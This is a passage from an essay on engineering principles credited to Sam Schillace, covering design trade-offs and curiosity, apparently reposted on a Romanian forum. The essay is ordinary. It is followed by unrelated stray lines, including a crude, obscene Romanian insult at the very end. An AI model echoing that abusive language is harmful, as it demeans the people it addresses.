triangle. And really great ones find ways to bend it and get some of all three, more often than not. Try to be that kind of programmer?—?can you find a more elegant design that’s faster to build and is still right? Can you relax some constraint in the spec to get to the goal more quickly? You might not always be able to do that; in fact, you won’t beat the triangle. But if nothing else, make sure you understand what compromise you are choosing, and why, and that it’s the right one for the current situation. Conclusion: Be curious. Learn as much as you can, all the time. Okay, this one is more career advice than anything else. But if you’re not curious and don’t really care that much about learning new things as an engineer and don’t care about new tech or new languages or new ideas, then why are you here? By no means are my principles perfect or an absolute representation of thinking/acting like a successful engineer, but I’m willing to bet there’s a fair amount of overlap with what others might be thinking. I’d love to hear your thoughts. Written by Sam Schillace Sursa: https://medium.com/on-coding/coding-principles-every-engineer-should-know-b946b48cc946

Bucuresti Bookfest

Jegosilor, care ati fost? Muie _|_